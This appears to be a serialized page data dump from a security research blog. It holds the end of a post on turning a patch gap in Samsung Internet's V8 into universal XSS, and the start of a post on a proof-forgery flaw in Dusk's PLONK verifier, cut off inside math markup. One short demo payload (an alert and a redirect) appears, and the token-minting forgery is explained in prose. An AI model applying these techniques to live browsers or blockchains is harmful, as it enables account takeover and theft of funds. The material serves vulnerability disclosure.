#0\n",{"type":21,"tag":198,"props":142171,"children":142173},{"class":200,"line":142172},72,[142174],{"type":21,"tag":198,"props":142175,"children":142176},{"emptyLinePlaceholder":16},[142177],{"type":27,"value":1283},{"type":21,"tag":198,"props":142179,"children":142181},{"class":200,"line":142180},73,[142182],{"type":21,"tag":198,"props":142183,"children":142184},{},[142185],{"type":27,"value":141682},{"type":21,"tag":59,"props":142187,"children":142189},{"id":142188},"uxss-demo",[142190],{"type":27,"value":142191},"UXSS Demo",{"type":21,"tag":30,"props":142193,"children":142194},{},[142195,142197,142203],{"type":27,"value":142196},"Below is a demo that executes the following UXSS payload: ",{"type":21,"tag":194,"props":142198,"children":142200},{"className":142199},[],[142201],{"type":27,"value":142202},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":27,"value":658},{"type":21,"tag":132240,"props":142205,"children":142208},{"className":142206,"controls":16},[142207],"blog-video-responsive",[142209,142211,142215],{"type":27,"value":142210},"\n ",{"type":21,"tag":141446,"props":142212,"children":142214},{"src":142213,"type":132238},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":27,"value":142216},"\n Your browser does not support the video tag.\n",{"type":21,"tag":22,"props":142218,"children":142219},{"id":3586},[142220],{"type":27,"value":3589},{"type":21,"tag":30,"props":142222,"children":142223},{},[142224],{"type":27,"value":142225},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":21,"tag":30,"props":142227,"children":142228},{},[142229],{"type":27,"value":142230},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":21,"tag":3645,"props":142232,"children":142233},{},[142234],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":142236},[142237,142241,142244,142254],{"id":61,"depth":217,"text":64,"children":142238},[142239,142240],{"id":132374,"depth":236,"text":132377},{"id":132457,"depth":236,"text":132460},{"id":132490,"depth":217,"text":132493,"children":142242},[142243],{"id":132631,"depth":236,"text":132485},{"id":132775,"depth":217,"text":132778,"children":142245},[142246,142247,142248,142249,142250,142251,142252,142253],{"id":132781,"depth":236,"text":132784},{"id":133238,"depth":236,"text":133241},{"id":133421,"depth":236,"text":133424},{"id":133532,"depth":236,"text":133535},{"id":133809,"depth":236,"text":133812},{"id":136519,"depth":236,"text":136522},{"id":139800,"depth":236,"text":139803},{"id":142188,"depth":236,"text":142191},{"id":3586,"depth":217,"text":3589},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":142259,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":142260,"description":142261,"date":142262,"author":142263,"image":142264,"isFeatured":16,"onBlogPage":16,"tags":142266,"body":142269,"_type":3671,"_id":147533,"_source":3673,"_file":147534,"_stem":147535,"_extension":3676},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[108220,108221],{"src":142265,"width":97650,"height":14430},"/posts/dusk-commitment-issues/title.png",[142267,142268],"dusk","plonk",{"type":18,"children":142270,"toc":147513},[142271,142277,142318,142330,142336,142350,142355,142361,142652,142656,142928,143158,143164,143849,143853,144348,144356,144362,144381,144386,144392,144617,144656,144667,144673,144684,145392,145397,145400,145406,145459,145494,145526,145531,145535,145538,145544,145555,145568,145599,145666,145674,145696,145709,146136,146159,146164,146167,146172,146199,146295,146306,146353,146391,146402,146740,146757,146765,146768,146774,146779,146813,146821,146902,146905,146911,146925,146943,146948,146988,146996,147017,147020,147026,147031,147096,147110,147113,147119,147159,147170,147175,147180,147186,147200,147281,147302,147329,147332,147338,147352,147357,147362,147367,147502,147508],{"type":21,"tag":36146,"props":142272,"children":142274},{"id":142273},"commitment-issues-unverified-evaluations-in-dusks-plonk",[142275],{"type":27,"value":142276},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":21,"tag":30,"props":142278,"children":142279},{},[142280,142282,142289,142291,142298,142300,142307,142309,142316],{"type":27,"value":142281},"We found a critical soundness vulnerability in ",{"type":21,"tag":34,"props":142283,"children":142286},{"href":142284,"rel":142285},"https://github.com/dusk-network/plonk/",[38],[142287],{"type":27,"value":142288},"dusk-plonk",{"type":27,"value":142290},", the PLONK implementation powering ",{"type":21,"tag":34,"props":142292,"children":142295},{"href":142293,"rel":142294},"https://dusk.network/",[38],[142296],{"type":27,"value":142297},"Dusk Network's",{"type":27,"value":142299}," ~$60M ",{"type":21,"tag":34,"props":142301,"children":142304},{"href":142302,"rel":142303},"https://www.coingecko.com/en/coins/dusk",[38],[142305],{"type":27,"value":142306},"market cap",{"type":27,"value":142308},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":21,"tag":34,"props":142310,"children":142313},{"href":142311,"rel":142312},"https://github.com/dusk-network/rusk",[38],[142314],{"type":27,"value":142315},"Rusk",{"type":27,"value":142317}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":21,"tag":30,"props":142319,"children":142320},{},[142321,142323,142328],{"type":27,"value":142322},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":21,"tag":6137,"props":142324,"children":142325},{},[142326],{"type":27,"value":142327},"without ever validating them against the trusted commitments in the verifier key.",{"type":27,"value":142329}," The prover can set them to whatever values make the equation pass.",{"type":21,"tag":22,"props":142331,"children":142333},{"id":142332},"how-plonk-works-briefly",[142334],{"type":27,"value":142335},"How PLONK works (briefly)",{"type":21,"tag":30,"props":142337,"children":142338},{},[142339,142341,142348],{"type":27,"value":142340},"For a rigorous treatment see the ",{"type":21,"tag":34,"props":142342,"children":142345},{"href":142343,"rel":142344},"https://eprint.iacr.org/2019/953",[38],[142346],{"type":27,"value":142347},"original paper",{"type":27,"value":142349},"; what follows covers only the parts needed to understand the bug.",{"type":21,"tag":30,"props":142351,"children":142352},{},[142353],{"type":27,"value":142354},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":21,"tag":59,"props":142356,"children":142358},{"id":142357},"arithmetic-circuits-and-constraints",[142359],{"type":27,"value":142360},"Arithmetic circuits and constraints",{"type":21,"tag":30,"props":142362,"children":142363},{},[142364,142366,142415,142417,142566,142568,142651],{"type":27,"value":142365},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":21,"tag":194,"props":142367,"children":142369},{"className":142368},[4794,4795],[142370],{"type":21,"tag":198,"props":142371,"children":142373},{"className":142372},[4800],[142374],{"type":21,"tag":198,"props":142375,"children":142377},{"className":142376,"ariaHidden":4806},[4805],[142378],{"type":21,"tag":198,"props":142379,"children":142381},{"className":142380},[4811],[142382,142386,142391,142396,142401,142405,142410],{"type":21,"tag":198,"props":142383,"children":142385},{"className":142384,"style":4922},[4816],[],{"type":21,"tag":198,"props":142387,"children":142389},{"className":142388},[22510],[142390],{"type":27,"value":706},{"type":21,"tag":198,"props":142392,"children":142394},{"className":142393},[4822,22381],[142395],{"type":27,"value":20070},{"type":21,"tag":198,"props":142397,"children":142399},{"className":142398},[4933],[142400],{"type":27,"value":2205},{"type":21,"tag":198,"props":142402,"children":142404},{"className":142403,"style":4939},[4901],[],{"type":21,"tag":198,"props":142406,"children":142408},{"className":142407,"style":93915},[4822,22381],[142409],{"type":27,"value":3922},{"type":21,"tag":198,"props":142411,"children":142413},{"className":142412},[22532],[142414],{"type":27,"value":2109},{"type":27,"value":142416}," on an elliptic curve, by e.g proving that ",{"type":21,"tag":194,"props":142418,"children":142420},{"className":142419},[4794,4795],[142421],{"type":21,"tag":198,"props":142422,"children":142424},{"className":142423},[4800],[142425],{"type":21,"tag":198,"props":142426,"children":142428},{"className":142427,"ariaHidden":4806},[4805],[142429,142491,142553],{"type":21,"tag":198,"props":142430,"children":142432},{"className":142431},[4811],[142433,142437,142478,142482,142487],{"type":21,"tag":198,"props":142434,"children":142436},{"className":142435,"style":123766},[4816],[],{"type":21,"tag":198,"props":142438,"children":142440},{"className":142439},[4822],[142441,142446],{"type":21,"tag":198,"props":142442,"children":142444},{"className":142443,"style":93915},[4822,22381],[142445],{"type":27,"value":3922},{"type":21,"tag":198,"props":142447,"children":142449},{"className":142448},[4837],[142450],{"type":21,"tag":198,"props":142451,"children":142453},{"className":142452},[4842],[142454],{"type":21,"tag":198,"props":142455,"children":142457},{"className":142456},[4847],[142458],{"type":21,"tag":198,"props":142459,"children":142461},{"className":142460,"style":4817},[4852],[142462],{"type":21,"tag":198,"props":142463,"children":142464},{"style":4856},[142465,142469],{"type":21,"tag":198,"props":142466,"children":142468},{"className":142467,"style":4862},[4861],[],{"type":21,"tag":198,"props":142470,"children":142472},{"className":142471},[4867,4868,4869,4870],[142473],{"type":21,"tag":198,"props":142474,"children":142476},{"className":142475},[4822,4870],[142477],{"type":27,"value":3931},{"type":21,"tag":198,"props":142479,"children":142481},{"className":142480,"style":4998},[4901],[],{"type":21,"tag":198,"props":142483,"children":142485},{"className":142484},[5003],[142486],{"type":27,"value":3174},{"type":21,"tag":198,"props":142488,"children":142490},{"className":142489,"style":4998},[4901],[],{"type":21,"tag":198,"props":142492,"children":142494},{"className":142493},[4811],[142495,142499,142540,142544,142549],{"type":21,"tag":198,"props":142496,"children":142498},{"className":142497,"style":123641},[4816],[],{"type":21,"tag":198,"props":142500,"children":142502},{"className":142501},[4822],[142503,142508],{"type":21,"tag":198,"props":142504,"children":142506},{"className":142505},[4822,22381],[142507],{"type":27,"value":20070},{"type":21,"tag":198,"props":142509,"children":142511},{"className":142510},[4837],[142512],{"type":21,"tag":198,"props":142513,"children":142515},{"className":142514},[4842],[142516],{"type":21,"tag":198,"props":142517,"children":142519},{"className":142518},[4847],[142520],{"type":21,"tag":198,"props":142521,"children":142523},{"className":142522,"style":4817},[4852],[142524],{"type":21,"tag":198,"props":142525,"children":142526},{"style":4856},[142527,142531],{"type":21,"tag":198,"props":142528,"children":142530},{"className":142529,"style":4862},[4861],[],{"type":21,"tag":198,"props":142532,"children":142534},{"className":142533},[4867,4868,4869,4870],[142535],{"type":21,"tag":198,"props":142536,"children":142538},{"className":142537},[4822,4870],[142539],{"type":27,"value":18097},{"type":21,"tag":198,"props":142541,"children":142543},{"className":142542,"style":4902},[4901],[],{"type":21,"tag":198,"props":142545,"children":142547},{"className":142546},[4907],[142548],{"type":27,"value":5193},{"type":21,"tag":198,"props":142550,"children":142552},{"className":142551,"style":4902},[4901],[],{"type":21,"tag":198,"props":142554,"children":142556},{"className":142555},[4811],[142557,142561],{"type":21,"tag":198,"props":142558,"children":142560},{"className":142559,"style":94460},[4816],[],{"type":21,"tag":198,"props":142562,"children":142564},{"className":142563},[4822],[142565],{"type":27,"value":55047},{"type":27,"value":142567},", here in ",{"type":21,"tag":194,"props":142569,"children":142571},{"className":142570},[4794,4795],[142572],{"type":21,"tag":198,"props":142573,"children":142575},{"className":142574},[4800],[142576],{"type":21,"tag":198,"props":142577,"children":142579},{"className":142578,"ariaHidden":4806},[4805],[142580],{"type":21,"tag":198,"props":142581,"children":142583},{"className":142582},[4811],[142584,142589],{"type":21,"tag":198,"props":142585,"children":142588},{"className":142586,"style":142587},[4816],"height:0.8389em;vertical-align:-0.15em;",[],{"type":21,"tag":198,"props":142590,"children":142592},{"className":142591},[4822],[142593,142598],{"type":21,"tag":198,"props":142594,"children":142596},{"className":142595},[4822,122204],[142597],{"type":27,"value":122207},{"type":21,"tag":198,"props":142599,"children":142601},{"className":142600},[4837],[142602],{"type":21,"tag":198,"props":142603,"children":142605},{"className":142604},[4842,22435],[142606,142640],{"type":21,"tag":198,"props":142607,"children":142609},{"className":142608},[4847],[142610,142635],{"type":21,"tag":198,"props":142611,"children":142613},{"className":142612,"style":93481},[4852],[142614],{"type":21,"tag":198,"props":142615,"children":142616},{"style":93485},[142617,142621],{"type":21,"tag":198,"props":142618,"children":142620},{"className":142619,"style":4862},[4861],[],{"type":21,"tag":198,"props":142622,"children":142624},{"className":142623},[4867,4868,4869,4870],[142625],{"type":21,"tag":198,"props":142626,"children":142628},{"className":142627},[4822,4870],[142629],{"type":21,"tag":198,"props":142630,"children":142632},{"className":142631},[4822,4870],[142633],{"type":27,"value":142634},"37",{"type":21,"tag":198,"props":142636,"children":142638},{"className":142637},[22538],[142639],{"type":27,"value":22541},{"type":21,"tag":198,"props":142641,"children":142643},{"className":142642},[4847],[142644],{"type":21,"tag":198,"props":142645,"children":142647},{"className":142646,"style":93512},[4852],[142648],{"type":21,"tag":198,"props":142649,"children":142650},{},[],{"type":27,"value":658},{"type":21,"tag":142653,"props":142654,"children":142655},"arithmetic-circuit-widget",{},[],{"type":21,"tag":30,"props":142657,"children":142658},{},[142659,142661,142687,142689,142768,142770,142847,142849,142926],{"type":27,"value":142660},"Each gate ",{"type":21,"tag":194,"props":142662,"children":142664},{"className":142663},[4794,4795],[142665],{"type":21,"tag":198,"props":142666,"children":142668},{"className":142667},[4800],[142669],{"type":21,"tag":198,"props":142670,"children":142672},{"className":142671,"ariaHidden":4806},[4805],[142673],{"type":21,"tag":198,"props":142674,"children":142676},{"className":142675},[4811],[142677,142682],{"type":21,"tag":198,"props":142678,"children":142681},{"className":142679,"style":142680},[4816],"height:0.6595em;",[],{"type":21,"tag":198,"props":142683,"children":142685},{"className":142684},[4822,22381],[142686],{"type":27,"value":4544},{"type":27,"value":142688}," has a left input ",{"type":21,"tag":194,"props":142690,"children":142692},{"className":142691},[4794,4795],[142693],{"type":21,"tag":198,"props":142694,"children":142696},{"className":142695},[4800],[142697],{"type":21,"tag":198,"props":142698,"children":142700},{"className":142699,"ariaHidden":4806},[4805],[142701],{"type":21,"tag":198,"props":142702,"children":142704},{"className":142703},[4811],[142705,142710],{"type":21,"tag":198,"props":142706,"children":142709},{"className":142707,"style":142708},[4816],"height:0.8444em;vertical-align:-0.15em;",[],{"type":21,"tag":198,"props":142711,"children":142713},{"className":142712},[4822],[142714,142719],{"type":21,"tag":198,"props":142715,"children":142717},{"className":142716,"style":93441},[4822,22381],[142718],{"type":27,"value":93444},{"type":21,"tag":198,"props":142720,"children":142722},{"className":142721},[4837],[142723],{"type":21,"tag":198,"props":142724,"children":142726},{"className":142725},[4842,22435],[142727,142757],{"type":21,"tag":198,"props":142728,"children":142730},{"className":142729},[4847],[142731,142752],{"type":21,"tag":198,"props":142732,"children":142734},{"className":142733,"style":93958},[4852],[142735],{"type":21,"tag":198,"props":142736,"children":142738},{"style":142737},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[142739,142743],{"type":21,"tag":198,"props":142740,"children":142742},{"className":142741,"style":4862},[4861],[],{"type":21,"tag":198,"props":142744,"children":142746},{"className":142745},[4867,4868,4869,4870],[142747],{"type":21,"tag":198,"props":142748,"children":142750},{"className":142749},[4822,22381,4870],[142751],{"type":27,"value":4544},{"type":21,"tag":198,"props":142753,"children":142755},{"className":142754},[22538],[142756],{"type":27,"value":22541},{"type":21,"tag":198,"props":142758,"children":142760},{"className":142759},[4847],[142761],{"type":21,"tag":198,"props":142762,"children":142764},{"className":142763,"style":93512},[4852],[142765],{"type":21,"tag":198,"props":142766,"children":142767},{},[],{"type":27,"value":142769},", right input ",{"type":21,"tag":194,"props":142771,"children":142773},{"className":142772},[4794,4795],[142774],{"type":21,"tag":198,"props":142775,"children":142777},{"className":142776},[4800],[142778],{"type":21,"tag":198,"props":142779,"children":142781},{"className":142780,"ariaHidden":4806},[4805],[142782],{"type":21,"tag":198,"props":142783,"children":142785},{"className":142784},[4811],[142786,142790],{"type":21,"tag":198,"props":142787,"children":142789},{"className":142788,"style":110399},[4816],[],{"type":21,"tag":198,"props":142791,"children":142793},{"className":142792},[4822],[142794,142799],{"type":21,"tag":198,"props":142795,"children":142797},{"className":142796,"style":93429},[4822,22381],[142798],{"type":27,"value":94248},{"type":21,"tag":198,"props":142800,"children":142802},{"className":142801},[4837],[142803],{"type":21,"tag":198,"props":142804,"children":142806},{"className":142805},[4842,22435],[142807,142836],{"type":21,"tag":198,"props":142808,"children":142810},{"className":142809},[4847],[142811,142831],{"type":21,"tag":198,"props":142812,"children":142814},{"className":142813,"style":93958},[4852],[142815],{"type":21,"tag":198,"props":142816,"children":142817},{"style":110428},[142818,142822],{"type":21,"tag":198,"props":142819,"children":142821},{"className":142820,"style":4862},[4861],[],{"type":21,"tag":198,"props":142823,"children":142825},{"className":142824},[4867,4868,4869,4870],[142826],{"type":21,"tag":198,"props":142827,"children":142829},{"className":142828},[4822,22381,4870],[142830],{"type":27,"value":4544},{"type":21,"tag":198,"props":142832,"children":142834},{"className":142833},[22538],[142835],{"type":27,"value":22541},{"type":21,"tag":198,"props":142837,"children":142839},{"className":142838},[4847],[142840],{"type":21,"tag":198,"props":142841,"children":142843},{"className":142842,"style":93512},[4852],[142844],{"type":21,"tag":198,"props":142845,"children":142846},{},[],{"type":27,"value":142848},", and output ",{"type":21,"tag":194,"props":142850,"children":142852},{"className":142851},[4794,4795],[142853],{"type":21,"tag":198,"props":142854,"children":142856},{"className":142855},[4800],[142857],{"type":21,"tag":198,"props":142858,"children":142860},{"className":142859,"ariaHidden":4806},[4805],[142861],{"type":21,"tag":198,"props":142862,"children":142864},{"className":142863},[4811],[142865,142869],{"type":21,"tag":198,"props":142866,"children":142868},{"className":142867,"style":110399},[4816],[],{"type":21,"tag":198,"props":142870,"children":142872},{"className":142871},[4822],[142873,142878],{"type":21,"tag":198,"props":142874,"children":142876},{"className":142875},[4822,22381],[142877],{"type":27,"value":93399},{"type":21,"tag":198,"props":142879,"children":142881},{"className":142880},[4837],[142882],{"type":21,"tag":198,"props":142883,"children":142885},{"className":142884},[4842,22435],[142886,142915],{"type":21,"tag":198,"props":142887,"children":142889},{"className":142888},[4847],[142890,142910],{"type":21,"tag":198,"props":142891,"children":142893},{"className":142892,"style":93958},[4852],[142894],{"type":21,"tag":198,"props":142895,"children":142896},{"style":93485},[142897,142901],{"type":21,"tag":198,"props":142898,"children":142900},{"className":142899,"style":4862},[4861],[],{"type":21,"tag":198,"props":142902,"children":142904},{"className":142903},[4867,4868,4869,4870],[142905],{"type":21,"tag":198,"props":142906,"children":142908},{"className":142907},[4822,22381,4870],[142909],{"type":27,"value":4544},{"type":21,"tag":198,"props":142911,"children":142913},{"className":142912},[22538],[142914],{"type":27,"value":22541},{"type":21,"tag":198,"props":142916,"children":142918},{"className":142917},[4847],[142919],{"type":21,"tag":198,"props":142920,"children":142922},{"className":142921,"style":93512},[4852],[142923],{"type":21,"tag":198,"props":142924,"children":142925},{},[],{"type":27,"value":142927},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":21,"tag":30,"props":142929,"children":142930},{},[142931,142933,142938,142940,143044,143046,143149,143151,143156],{"type":27,"value":142932},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":21,"tag":1671,"props":142934,"children":142935},{},[142936],{"type":27,"value":142937},"selector",{"type":27,"value":142939}," values that act as switches: setting ",{"type":21,"tag":194,"props":142941,"children":142943},{"className":142942},[4794,4795],[142944],{"type":21,"tag":198,"props":142945,"children":142947},{"className":142946},[4800],[142948],{"type":21,"tag":198,"props":142949,"children":142951},{"className":142950,"ariaHidden":4806},[4805],[142952,143031],{"type":21,"tag":198,"props":142953,"children":142955},{"className":142954},[4811],[142956,142960,143018,143022,143027],{"type":21,"tag":198,"props":142957,"children":142959},{"className":142958,"style":110319},[4816],[],{"type":21,"tag":198,"props":142961,"children":142963},{"className":142962},[4822],[142964,142969],{"type":21,"tag":198,"props":142965,"children":142967},{"className":142966,"style":93915},[4822,22381],[142968],{"type":27,"value":93918},{"type":21,"tag":198,"props":142970,"children":142972},{"className":142971},[4837],[142973],{"type":21,"tag":198,"props":142974,"children":142976},{"className":142975},[4842,22435],[142977,143007],{"type":21,"tag":198,"props":142978,"children":142980},{"className":142979},[4847],[142981,143002],{"type":21,"tag":198,"props":142982,"children":142985},{"className":142983,"style":142984},[4852],"height:0.3283em;",[142986],{"type":21,"tag":198,"props":142987,"children":142988},{"style":93962},[142989,142993],{"type":21,"tag":198,"props":142990,"children":142992},{"className":142991,"style":4862},[4861],[],{"type":21,"tag":198,"props":142994,"children":142996},{"className":142995},[4867,4868,4869,4870],[142997],{"type":21,"tag":198,"props":142998,"children":143000},{"className":142999,"style":95437},[4822,22381,4870],[143001],{"type":27,"value":95440},{"type":21,"tag":198,"props":143003,"children":143005},{"className":143004},[22538],[143006],{"type":27,"value":22541},{"type":21,"tag":198,"props":143008,"children":143010},{"className":143009},[4847],[143011],{"type":21,"tag":198,"props":143012,"children":143014},{"className":143013,"style":93512},[4852],[143015],{"type":21,"tag":198,"props":143016,"children":143017},{},[],{"type":21,"tag":198,"props":143019,"children":143021},{"className":143020,"style":4998},[4901],[],{"type":21,"tag":198,"props":143023,"children":143025},{"className":143024},[5003],[143026],{"type":27,"value":3174},{"type":21,"tag":198,"props":143028,"children":143030},{"className":143029,"style":4998},[4901],[],{"type":21,"tag":198,"props":143032,"children":143034},{"className":143033},[4811],[143035,143039],{"type":21,"tag":198,"props":143036,"children":143038},{"className":143037,"style":94460},[4816],[],{"type":21,"tag":198,"props":143040,"children":143042},{"className":143041},[4822],[143043],{"type":27,"value":134},{"type":27,"value":143045}," makes a row a multiplication gate, setting ",{"type":21,"tag":194,"props":143047,"children":143049},{"className":143048},[4794,4795],[143050],{"type":21,"tag":198,"props":143051,"children":143053},{"className":143052},[4800],[143054],{"type":21,"tag":198,"props":143055,"children":143057},{"className":143056,"ariaHidden":4806},[4805],[143058,143136],{"type":21,"tag":198,"props":143059,"children":143061},{"className":143060},[4811],[143062,143066,143123,143127,143132],{"type":21,"tag":198,"props":143063,"children":143065},{"className":143064,"style":110319},[4816],[],{"type":21,"tag":198,"props":143067,"children":143069},{"className":143068},[4822],[143070,143075],{"type":21,"tag":198,"props":143071,"children":143073},{"className":143072,"style":93915},[4822,22381],[143074],{"type":27,"value":93918},{"type":21,"tag":198,"props":143076,"children":143078},{"className":143077},[4837],[143079],{"type":21,"tag":198,"props":143080,"children":143082},{"className":143081},[4842,22435],[143083,143112],{"type":21,"tag":198,"props":143084,"children":143086},{"className":143085},[4847],[143087,143107],{"type":21,"tag":198,"props":143088,"children":143090},{"className":143089,"style":142984},[4852],[143091],{"type":21,"tag":198,"props":143092,"children":143093},{"style":93962},[143094,143098],{"type":21,"tag":198,"props":143095,"children":143097},{"className":143096,"style":4862},[4861],[],{"type":21,"tag":198,"props":143099,"children":143101},{"className":143100},[4867,4868,4869,4870],[143102],{"type":21,"tag":198,"props":143103,"children":143105},{"className":143104},[4822,22381,4870],[143106],{"type":27,"value":118393},{"type":21,"tag":198,"props":143108,"children":143110},{"className":143109},[22538],[143111],{"type":27,"value":22541},{"type":21,"tag":198,"props":143113,"children":143115},{"className":143114},[4847],[143116],{"type":21,"tag":198,"props":143117,"children":143119},{"className":143118,"style":93512},[4852],[143120],{"type":21,"tag":198,"props":143121,"children":143122},{},[],{"type":21,"tag":198,"props":143124,"children":143126},{"className":143125,"style":4998},[4901],[],{"type":21,"tag":198,"props":143128,"children":143130},{"className":143129},[5003],[143131],{"type":27,"value":3174},{"type":21,"tag":198,"props":143133,"children":143135},{"className":143134,"style":4998},[4901],[],{"type":21,"tag":198,"props":143137,"children":143139},{"className":143138},[4811],[143140,143144],{"type":21,"tag":198,"props":143141,"children":143143},{"className":143142,"style":94460},[4816],[],{"type":21,"tag":198,"props":143145,"children":143147},{"className":143146},[4822],[143148],{"type":27,"value":134},{"type":27,"value":143150}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":21,"tag":1671,"props":143152,"children":143153},{},[143154],{"type":27,"value":143155},"permutation argument",{"type":27,"value":143157}," for that, which we will not cover here.",{"type":21,"tag":59,"props":143159,"children":143161},{"id":143160},"from-many-checks-to-one",[143162],{"type":27,"value":143163},"From many checks to one",{"type":21,"tag":30,"props":143165,"children":143166},{},[143167,143169,143174,143175,143267,143268,143360,143361,143453,143455,143460,143461,143553,143554,143646,143648,143673,143675,143700,143702,143794,143796,143821,143823,143848],{"type":27,"value":143168},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":21,"tag":1671,"props":143170,"children":143171},{},[143172],{"type":27,"value":143173},"witness polynomials",{"type":27,"value":915},{"type":21,"tag":194,"props":143176,"children":143178},{"className":143177},[4794,4795],[143179],{"type":21,"tag":198,"props":143180,"children":143182},{"className":143181},[4800],[143183],{"type":21,"tag":198,"props":143184,"children":143186},{"className":143185,"ariaHidden":4806},[4805],[143187],{"type":21,"tag":198,"props":143188,"children":143190},{"className":143189},[4811],[143191,143195,143252,143257,143262],{"type":21,"tag":198,"props":143192,"children":143194},{"className":143193,"style":4922},[4816],[],{"type":21,"tag":198,"props":143196,"children":143198},{"className":143197},[4822],[143199,143204],{"type":21,"tag":198,"props":143200,"children":143202},{"className":143201,"style":95783},[4822,22381],[143203],{"type":27,"value":33864},{"type":21,"tag":198,"props":143205,"children":143207},{"className":143206},[4837],[143208],{"type":21,"tag":198,"props":143209,"children":143211},{"className":143210},[4842,22435],[143212,143241],{"type":21,"tag":198,"props":143213,"children":143215},{"className":143214},[4847],[143216,143236],{"type":21,"tag":198,"props":143217,"children":143219},{"className":143218,"style":142984},[4852],[143220],{"type":21,"tag":198,"props":143221,"children":143222},{"style":95804},[143223,143227],{"type":21,"tag":198,"props":143224,"children":143226},{"className":143225,"style":4862},[4861],[],{"type":21,"tag":198,"props":143228,"children":143230},{"className":143229},[4867,4868,4869,4870],[143231],{"type":21,"tag":198,"props":143232,"children":143234},{"className":143233},[4822,22381,4870],[143235],{"type":27,"value":118393},{"type":21,"tag":198,"props":143237,"children":143239},{"className":143238},[22538],[143240],{"type":27,"value":22541},{"type":21,"tag":198,"props":143242,"children":143244},{"className":143243},[4847],[143245],{"type":21,"tag":198,"props":143246,"children":143248},{"className":143247,"style":93512},[4852],[143249],{"type":21,"tag":198,"props":143250,"children":143251},{},[],{"type":21,"tag":198,"props":143253,"children":143255},{"className":143254},[22510],[143256],{"type":27,"value":706},{"type":21,"tag":198,"props":143258,"children":143260},{"className":143259},[4822,22381],[143261],{"type":27,"value":20070},{"type":21,"tag":198,"props":143263,"children":143265},{"className":143264},[22532],[143266],{"type":27,"value":2109},{"type":27,"value":828},{"type":21,"tag":194,"props":143269,"children":143271},{"className":143270},[4794,4795],[143272],{"type":21,"tag":198,"props":143273,"children":143275},{"className":143274},[4800],[143276],{"type":21,"tag":198,"props":143277,"children":143279},{"className":143278,"ariaHidden":4806},[4805],[143280],{"type":21,"tag":198,"props":143281,"children":143283},{"className":143282},[4811],[143284,143288,143345,143350,143355],{"type":21,"tag":198,"props":143285,"children":143287},{"className":143286,"style":4922},[4816],[],{"type":21,"tag":198,"props":143289,"children":143291},{"className":143290},[4822],[143292,143297],{"type":21,"tag":198,"props":143293,"children":143295},{"className":143294,"style":95783},[4822,22381],[143296],{"type":27,"value":33864},{"type":21,"tag":198,"props":143298,"children":143300},{"className":143299},[4837],[143301],{"type":21,"tag":198,"props":143302,"children":143304},{"className":143303},[4842,22435],[143305,143334],{"type":21,"tag":198,"props":143306,"children":143308},{"className":143307},[4847],[143309,143329],{"type":21,"tag":198,"props":143310,"children":143312},{"className":143311,"style":142984},[4852],[143313],{"type":21,"tag":198,"props":143314,"children":143315},{"style":95804},[143316,143320],{"type":21,"tag":198,"props":143317,"children":143319},{"className":143318,"style":4862},[4861],[],{"type":21,"tag":198,"props":143321,"children":143323},{"className":143322},[4867,4868,4869,4870],[143324],{"type":21,"tag":198,"props":143325,"children":143327},{"className":143326,"style":123206},[4822,22381,4870],[143328],{"type":27,"value":123209},{"type":21,"tag":198,"props":143330,"children":143332},{"className":143331},[22538],[143333],{"type":27,"value":22541},{"type":21,"tag":198,"props":143335,"children":143337},{"className":143336},[4847],[143338],{"type":21,"tag":198,"props":143339,"children":143341},{"className":143340,"style":93512},[4852],[143342],{"type":21,"tag":198,"props":143343,"children":143344},{},[],{"type":21,"tag":198,"props":143346,"children":143348},{"className":143347},[22510],[143349],{"type":27,"value":706},{"type":21,"tag":198,"props":143351,"children":143353},{"className":143352},[4822,22381],[143354],{"type":27,"value":20070},{"type":21,"tag":198,"props":143356,"children":143358},{"className":143357},[22532],[143359],{"type":27,"value":2109},{"type":27,"value":828},{"type":21,"tag":194,"props":143362,"children":143364},{"className":143363},[4794,4795],[143365],{"type":21,"tag":198,"props":143366,"children":143368},{"className":143367},[4800],[143369],{"type":21,"tag":198,"props":143370,"children":143372},{"className":143371,"ariaHidden":4806},[4805],[143373],{"type":21,"tag":198,"props":143374,"children":143376},{"className":143375},[4811],[143377,143381,143438,143443,143448],{"type":21,"tag":198,"props":143378,"children":143380},{"className":143379,"style":4922},[4816],[],{"type":21,"tag":198,"props":143382,"children":143384},{"className":143383},[4822],[143385,143390],{"type":21,"tag":198,"props":143386,"children":143388},{"className":143387,"style":95783},[4822,22381],[143389],{"type":27,"value":3386